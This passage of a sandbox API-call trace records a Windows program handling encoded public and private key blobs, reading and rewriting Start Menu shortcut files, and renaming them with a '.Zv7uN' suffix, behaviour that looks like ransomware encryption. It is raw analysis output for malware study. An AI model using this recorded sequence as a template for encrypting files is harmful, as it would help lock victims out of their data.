tcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0132.478] GetCurrentThreadId () returned 0xa30 [0132.478] GetCurrentThreadId () returned 0xa30 [0132.478] GetCurrentThreadId () returned 0xa30 [0132.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0132.478] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2695c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0132.479] GetCurrentThreadId () returned 0xa30 [0132.479] GetCurrentThreadId () returned 0xa30 [0132.479] GetCurrentThreadId () returned 0xa30 [0132.479] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.479] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0132.479] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.479] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x76b [0132.480] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0132.480] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f2e760, nNumberOfBytesToRead=0x76b, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f2e760*, lpNumberOfBytesRead=0x18f108*=0x76b, lpOverlapped=0x0) returned 1 [0132.485] CloseHandle (hObject=0x1dc) returned 1 [0132.485] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0132.487] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f30790*, nNumberOfBytesToWrite=0x76b, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f30790*, lpNumberOfBytesWritten=0x18f114*=0x76b, lpOverlapped=0x0) returned 1 [0132.489] CloseHandle (hObject=0x1dc) returned 1 [0132.489] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\accessories\\windows powershell\\windows powershell.lnk.zv7un")) returned 1 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] GetCurrentThreadId () returned 0xa30 [0132.491] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell.lnk", cAlternateFileName="WINDOW~2.LNK")) returned 0 [0132.491] GetLastError () returned 0x12 [0132.491] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.491] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*.*", lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x632fc800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x632fc800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa0c0 [0132.491] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b8 | out: lpLocalFileTime=0x18f1b8) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b8, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x632fc800, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x632fc800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8d776877, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d776877, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xd8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6328a3e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x7c5, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell (x86).lnk.Zv7uN", cAlternateFileName="WINDOW~1.ZV7")) returned 1 [0132.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d79c9d7, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x632b0540, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell ISE (x86).lnk.Zv7uN", cAlternateFileName="WINDOW~2.ZV7")) returned 1 [0132.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d750717, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x8d750717, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x632d66a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x5bc, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell ISE.lnk.Zv7uN", cAlternateFileName="WINDOW~3.ZV7")) returned 1 [0132.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.492] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x632fc800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell.lnk.Zv7uN", cAlternateFileName="WINDOW~4.ZV7")) returned 1 [0132.492] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0132.492] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0132.493] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x632fc800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x76b, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Windows PowerShell.lnk.Zv7uN", cAlternateFileName="WINDOW~4.ZV7")) returned 0 [0132.493] GetLastError () returned 0x12 [0132.493] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0132.493] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62c96ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Wordpad.lnk.Zv7uN", cAlternateFileName="")) returned 1 [0132.493] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0132.493] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.493] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d25b9f8, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x3d25b9f8, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x62c96ce0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x52a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Wordpad.lnk.Zv7uN", cAlternateFileName="")) returned 0 [0132.493] GetLastError () returned 0x12 [0132.493] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0132.493] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0132.493] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0132.494] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0132.494] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa080 [0132.494] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0132.494] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Component Services.lnk", cAlternateFileName="COMPON~1.LNK")) returned 1 [0132.494] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f484 | out: lpLocalFileTime=0x18f484) returned 1 [0132.494] FileTimeToDosDateTime (in: lpFileTime=0x18f484, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0132.494] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d4524, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x898d4524, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d692035, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x4da)) returned 1 [0132.495] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\administrative tools\\component services.lnk")) returned 0x20 [0132.495] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\Component Services.lnk", dwFileAttributes=0x80) returned 1 [0132.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0132.498] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w